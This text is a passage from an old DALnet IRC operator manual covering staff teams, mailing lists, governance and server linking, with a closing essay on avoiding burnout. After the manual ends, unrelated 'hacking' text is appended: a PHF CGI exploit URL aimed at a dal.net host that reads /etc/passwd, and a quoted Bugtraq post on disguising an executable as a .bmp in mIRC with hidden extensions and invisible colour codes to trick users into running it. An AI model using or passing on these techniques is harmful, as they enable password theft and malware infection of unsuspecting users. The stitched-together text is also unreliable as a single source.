you do not know what a particular team's policy is and are interested in

joining it, contact the team and ask.

  Finally, everyone of DALnet's staff is also a member of the "DALnet Team" --

everyone is dedicated to working for DALnet and making it a better IRC network.

  8.1.1  LIST OF TEAMS AND GROUPS

  -------------------------------

  Here is a more or less complete list of all DALnet Teams and groups, with

the email contact address for each.  The operators for each server may be

emailed to the address <server>-staff@dal.net.

    EXECUTIVE BOARD           eb@dal.net

    - Main ruling and decision making body on DALnet

    SERVER ADMINS             admins@dal.net

    - DALnet server admins

    IRCOPS                    ops@dal.net

    - DALnet IRC operators

    ADMINS ADVISORY COUNCIL   advisory@dal.net

    - Advisory council formed of DALnet admins

    MANAGEMENT COUNCIL        (no email)

    - Council for facilitating cross-team communication

    JAG                       jag@dal.net

    - Judicial Advisory Group, solutions for disputes

      (focuses on those issues which involve DALnet staff)

    HELP COMMITTEE            hc@dal.net

    - User help management committee

    HELP DESK TEAM            help@dal.net

    - The DALnet Help Desk (email help) team

    GLOBAL KLINE TEAM         kline@dal.net

    - The autokill/abusive user management team

    MASS MESSAGE TEAM         massm@dal.net

    - Mass message abuse handling team

    POLICY TEAM               policy@dal.net

    - The team handling policy information issues on warez and child

      pornography

    CLOSERS TEAM              closers@dal.net

    - The team handling services-abuse channels

    MAILING LIST STAFF        moderators@dal.net

    - Mailing list moderators

    MERCHANDISING TEAM        merchandise@dal.net

    - The Merchandise management team

    STAFF TRAINING            training@dal.net

    - Staff training administration and trainers

    WEB TEAM                  webteam@dal.net

    - DALnet WWW pages authoring team

    IRCD CODING TEAM          dalnet-src@dal.net

    - DALnet ircd develepement

    HOSTMASTERS               hostmaster@dal.net

    - DALnet DNS administration

    POSTMASTERS               postmaster@dal.net

    - DALnet mail service administration

    ROUTING TEAM              routing@dal.net

    - DALnet network routing team

    SERVICES ROOT STAFF       service@dal.net

    - The DALnet Services maintenance and development personnel

    USER DOCUMENTATION TEAM   docs@dal.net

    - DALnet user help document maintaining and development

  8.2  SUPPORT SERVICES

  ---------------------

  Since IRC is real-time, it is very hard, if not actually impossible to gather

all the relevant people online at the same time.  Because of this, the main

medium for administrative issues is the mailing lists.  In addition to

management issues, the support services provide a service to DALnet users and

the general public.  They offer IRC and DALnet user resources as well as DALnet

related information.

  The most important support services are email (mailing lists and email

address aliases), FTP and WWW service.  DNS is a mostly invisible, but also a

very critical service.

  8.2.1  MAILING LISTS, MAIL ALIASES

  ----------------------------------

  Email is the fundamental tool in DALnet administration.  (This is somewhat

ironic, since an IRC network is a communication tool in itself, yet it cannot

be used to fully administrate itself.)  Both private and mailing list email

are used extensively to handle DALnet administration issues.  Because of this,

email is a necessity and a requirement for anyone involved in DALnet's

administration.

  If you are not yet familiar with the DALnet mailing lists, or how to use the

majordomo mailing list software to subscribe to mailing lists, you should learn

about them.  As a few pointers, see section 6.1.8 for new oper's actions, email

majordomo@dal.net with the word "help" in the body (and nothing else), or visit

the DALnet WWW site.  Or, ask a friend or your admin to help you.

  As a note, when posting to the mailing lists, please include your nickname in

the signature so that others know who you are on DALnet.  Also remember that

when you post on the DALnet lists, you are doing so as a DALnet staff member,

so you should follow all the appropriate guidelines and rules.

  Each DALnet staff member is also given a personal email alias, which is

usually of the form <IRC nickname>@dal.net (eg. wizzu@dal.net).  This is NOT an

email account, it merely forwards the mail to your real email account.

  Mailing lists and mail aliases are maintained by the postmaster team.

  8.2.2  LIST OF MAILING LISTS

  ----------------------------

  Here's a list of the mailing lists you may join as an operator.

    dalnet           The main administrative and discussion list

    ops              The operator list

    ops-chat         The operator discussion list

    dalnet-announce  The (public) announcements list

    dalnet-outage    The DALnet outage notifications list

    dalnet-services  The Services discussion list

    dalnet-src       The server development list

    helpers          The helpers list

    outage           The Internet outages notifications list

  What each of the main mailing lists are for:

  dalnet:

    The main DALnet administrative list.  Open to users, mandatory for staff

    and administration.  Ops should be able to bypass moderation.  All

    non-privileged administrative matters should be handled on this list and

    opened to the public.  Owned by Dalvenjah, maintained by the DALnet

    moderators.

  ops:

    A DALnet "ops only" administrative list.  Posts should go to this list ONLY

    when you feel they are of a secure nature and would be damaging to the idea

    or the network to share them on the dalnet list.  Owned and maintained by

    the DALnet Postmasters.

  ops-chat:

    A non-administrative "chat" list exclusively for DALnet operators.

    Subscription is NOT mandatory.  Administrative announcements of network

    importance should not be posted here.  Owned and operated by the DALnet

    Postmasters.

  8.2.3  LIST OF EMAIL CONTACT ADDRESSES

  --------------------------------------

  Here's a list of various email contact addresses (these are not handled by

a team, which is why they were not included in the list in section 8.1.1).

    KEY STAFF

    - Chief Executive Officer   dalvenjah  dalvenjah@dal.net  

    - Chief Operative Officer   Studded    studded@dal.net

    - Technical Director        JoelKatz   joelkatz@dal.net

    VOTING - CFVs             cfv@dal.net

    - Server link/delink votes

    SERVER APPLICATIONS       apply@dal.net

    - New server applications submit address

    CYBERCAFE CONTACT         ccafe@dal.net

    - Contact address for cybercafes and other similar sites

    FTP                       ftp@dal.net

    - DALnet FTP service (ftp://ftp.dal.net) contact address

    WEBMASTER                 www@dal.net

    - DALnet WWW service (http://www.dal.net) contact address

  8.2.4  OTHER SUPPORT SERVICES: WWW, FTP, DNS, FINGER

  ----------------------------------------------------

  The DALnet WWW pages at http://www.dal.net offer public information about

DALnet and related issues.  There are also privileged "intranet" WWW pages for

the DALnet staff.  The WWW issues are handled by the WWW team which may be

contacted at www@dal.net.

  The DALnet FTP site at ftp://ftp.dal.net is used to distribute files related

to DALnet.  Among other things, it has the current ircd source code, various

clients, and help documents.  The FTP site is maintained by the ftp

administrator who can be contacted at ftp@dal.net.

  The DNS is a technical service which controls all the names in the dal.net

domain.  Issues about DNS are handled by the hostmaster team, which can be

contacted at hostmaster@dal.net.

  Finally, there are a few "fingerable addresses".  Most notably, the current

list of DALnet client servers is available by fingering the address

servers@dal.net.

  8.3  HOW DALNET WORKS

  ---------------------

  All of the above -- lists of teams, services, etc. -- do not go much towards

explaining how DALnet's administration really functions.  To explain this,

first there is a list of the key elements of DALnet's existence and

functioning:

  - DALnet would be nothing without the users (thus, the users make the

    network)

  - DALnet servers are operated by the admins, without which there would

    not be an IRC network at all

  - DALnet was founded by Dalvenjah, and in the end, the domain dal.net is

    owned by him (so in one sense, DALnet is Dalvenjah's network)

  - The Executive Board is the main decision making body on DALnet

  - DALnet relies on IRC operators and the teams for its operation

  As you can see, every part is critical.  None are overbearing, and they are

all needed for DALnet to function.  Cooperation is the only way things can

work.

  The administration is based on the following control structure:

  - Server admins are in charge of their servers

  - Teams handle various issues, specific to their function

  - The Technical Director oversees the technical aspects of DALnet

  - The COO oversees general non-technical operations on DALnet

  - The EB and the CEO have the highest authority for network decisions

  And responsibility is laid out as follows:

  - Operators are answerable to their admin

  - Individual admins are answerable to the EB

  - Team members are answerable to the team leader

  - Teams are answerable to the EB

  - The EB is answerable to the CEO and the admins (as a group)

  Servers are linked to DALnet according to the following procedure:

  1. Admins wishing to link their server to DALnet must fill out a server

     application and submit it to apply@dal.net, where it is checked.

  2. The finished application is posted to the DALnet mailing list(s) for

     review and discussion.

  3. A CFO (Call For Opinions) is held, in which admins may give their opinion

     on the prospective server to the EB -- opers may give their views to

     their admins, before they submit their opinion on the server.

  4. The EB votes on the server, based on the opinions of the admins, the

     information in the application, and on the public discussion about it.

  5. Only servers which are linked with this method are recognised as full

     DALnet servers administratively, and only the admins of such servers are

     given the rights/privileges/responsibilities of a "DALnet server admin".

  Additionally, there are a few other methods for linking servers:

  - The Routing Team may link routing servers (in which case such servers

    have "-r" in the end of their names), which are always hub-only.

  - The EB may link servers for testing or emergency reasons (such servers have

    "-e" in the end of their names).

  - The Coding Team may link servers for ircd development testing (the server

    name will end in "-c").

  - Admins may run another server, provided that it's at practically the same

    netwise location and benefits the server in question (typically, running

    two servers instead of just one, a client server and a hub server).

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Chapter 9.  FINAL WORDS

=======================

  As the closing section of this rather longish manual, I have a few words by

Mikki (also known as WatchMan to some).  Thanks for getting this far!

  - - -

  Okay...  By now you've most likely read all of the above stuff.  Y'know,

commands, routing, procedures, policies and a load of other topics.  Pretty

heavy stuff, too.  DALnet's got plenty of things that can weigh you down if

you're not careful -- in fact, the mere quantity of things this document

contains is enough to make your head spin.  You can get yourself tangled in all

of this technical stuff and never manage to get yourself free enough to take a

good look at the big picture.

  But let me tell you a little something: It's not important.

  That's right.  It's not important.

  Oh, don't get me wrong -- yes, it's important to know what you're doing, and

it's important to do things the right way when you start messing around with

that O:line.  It's even more important to be able to believe in yourself and

know that if something happens, you have the technical expertise to handle it.

That'll come with experience.  But the truly important bit...

  Well... all of this is superficial.  These are just the means; the tools of

your job.  What you must figure out for yourself is not HOW to do this job,

it's WHY you do this job, and WHAT FOR.  Many people never do, and that's why

they end up quitting with a bad taste in their mouths.  Not that there is

anything wrong with quitting, mind you -- but if you do it because you get

tired of this job, then something's wrong.  It should never, ever go that far.

  Let me put this another way.  Why do I do this job after all these years? Why

do I put up with all of the bad stuff that inevitably happens when you work

with a large group of people?  Why do I -- and I'll be honest here; you're most

likely going to witness this stuff sooner or later on the mailing lists or

real-time on IRC anyway, if you haven't already -- why do I stick around and do

my bit even though at times -- yes, I freely admit this -- I'm so sick and

tired of DALnet that the thought of telling everyone to get the hell out of my

face and leaving the place for good feels like a really great idea?  Why do I

play this game time and time again, despite all the things that really bug me?

  To quote a song,

    "And I ain't in it for the power

     And I ain't in it for my health

     And I ain't in it for the glory of anything at all

     And I sure ain't in it for my wealth.

     But I'm in it till it's over and I just can't stop

     If you wanna get it done

     You gotta do it yourself."

     -- Jim Steinman, "Everything Louder Than Everything Else"

  Well.  I've been here for a long time now, and I've seen us grow from a

small, private thing which was mostly done for a cheap laugh into a

respectable, serious IRC network which gives thousands of people all over the

world the chance to talk to each other.  Communication -- that's what this

place is all about.  Forget the talk about merchandising, forget the talk about

getting big, public and famous, forget the services we provide, forget all of

that.  In the end, if you strip us down to bare essentials, we're nothing but a

bunch of computers connected to other computers.  That's all.  We are nothing

else -- unless we have people online, using what we provide them with, talking

to each other.  In this time and age, that's worth a lot more than you might

think.

  Well, it is to me.

  Not that this is the only reason.  I've made a lot of very good friends on

DALnet, and if nothing else, to me they're worth quite a bit.  Most likely more

than any of the other stuff we have here.

  But that's why *I* do this.  What you have to do is figure out why YOU do

this.  And don't make that into some kind of a complicated process where you

spend hours pondering about the Meaning of Life and do your best to figure out

where you fit in in the Great Puzzle of DALnet.  Just use a bit of common sense

and try to figure out what you get out of this thing.  For many, it's as simple

as having a good time, and there's nothing wrong with that.  In many ways,

that's perhaps the best, the purest motive of all that I've seen here.  There

is absolutely nothing wrong with wanting to have a good time.

  But if you do this for all the glory you get when you use that O:line, or for

the network itself, or if you think that you have some kind of a duty here,

you're wrong.

  Whatever glory there may be is greatly overrated and not worth a damn.

  The network itself is NOTHING without the people on it.

  And duty...?  The only duty here is what you choose to take responsibility

for.

  If you want a hint, do it for yourself.  Do it for your friends.  And above

all, do it because it's a good, fun way of spending some of that spare time of

yours.  But don't ever let it run your life.  That's going to lead to burnout,

and you really don't want to join those who quit with the aforementioned bad

taste in their mouths.  That's not fun at all... and unless you have a good

time doing this job, it's not worth much.

  It's okay to take a break if you need one.  In fact, you SHOULD take one when

you need one.  Don't let anyone tell you that you're not doing your duty --

they're wrong.  Your life is more important than DALnet, and the second DALnet

starts to eat that life more than it should, you should have a bunch of alarm

bells ringing in your head.

  But, hey, as I said... it's up to you to figure out why you do this. Just

make sure that you do. It's worth the trouble.

  And above all... have a good time, okay?

  As the man said... "If the thrill is gone, then it's time to take it back."

  - Mikki

  Mikko Rautalahti is the official "old fart" of DALnet, and is well known for

his tendency to rant about subjects such as "the wonderful art of communication

and just why it's such a darn good idea to use some of that every once in a

while", "the good old days", "how come no one ever tells me anything" and "the

application of common sense in real life and DALnet's internal politics" over

and over again.  As his hobbies, he fights windmills and tells bad jokes.

Reliable sources report that in Real Life, he's just as annoying, only a bit

louder.

  Really.

  He can be reached at watchman@iki.fi.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
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           IRC:            /server irc.dal.net 7000 (also port 6667)

   The     Info on WWW:    http://www.dal.net

  DALnet   FTP site:       ftp://ftp.dal.net

   IRC     Mailing lists:  http://www.dal.net/documentation/lists.html

 Network!  Email:          help@dal.net (help), docs@dal.net (help documents),

                           comments@dal.net (comments and suggestions)

HACKING IRC PASSWDS:-

Use internet explorer 3.x if u ask y go & then read documentation 

about explorer 3.x.

www.users.dal.net/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

note:if u don't know how & wat to do next plz don't read further texts.

MIRC HIDDEN FILES TRICK:-
Date: Sat, 2 Jan 1999 06:15:04 -0500

From: Locke Nash Cole <loki@LNETI.COM>

To: BUGTRAQ@netspace.org

Subject: Re: Win32 ICQ 98a flaw

You can also do this in the popular mIRC IRC Client, althou it has no "Open"

option so there is a less chance of the person running it, however in

explorer

"mypic..bmp

.exe"

Kinda looks like a bmp the .exe is hard to see on some view modes, and if

you opened the .exe file up in borland's resource editor (or any similar

editor) and changed the exe files icon to that of mspaint.exe a person

(sometimes even an advanced user) will double click anyway without seeing

the far off .exe portion of the filename..

Also if they look in their status window they may discover the .exe, althou

if you use a special dos program to write files to filenames that aren't

normally allowed (with mIRC's CTRL-K color code) you could make the .exe

part invisible in the status window...

using CTRL+K0 for white text, and most people use the default white text

background on the status window.

i hope u ppl enjoying it reading as i enjoyed it getting info.:)
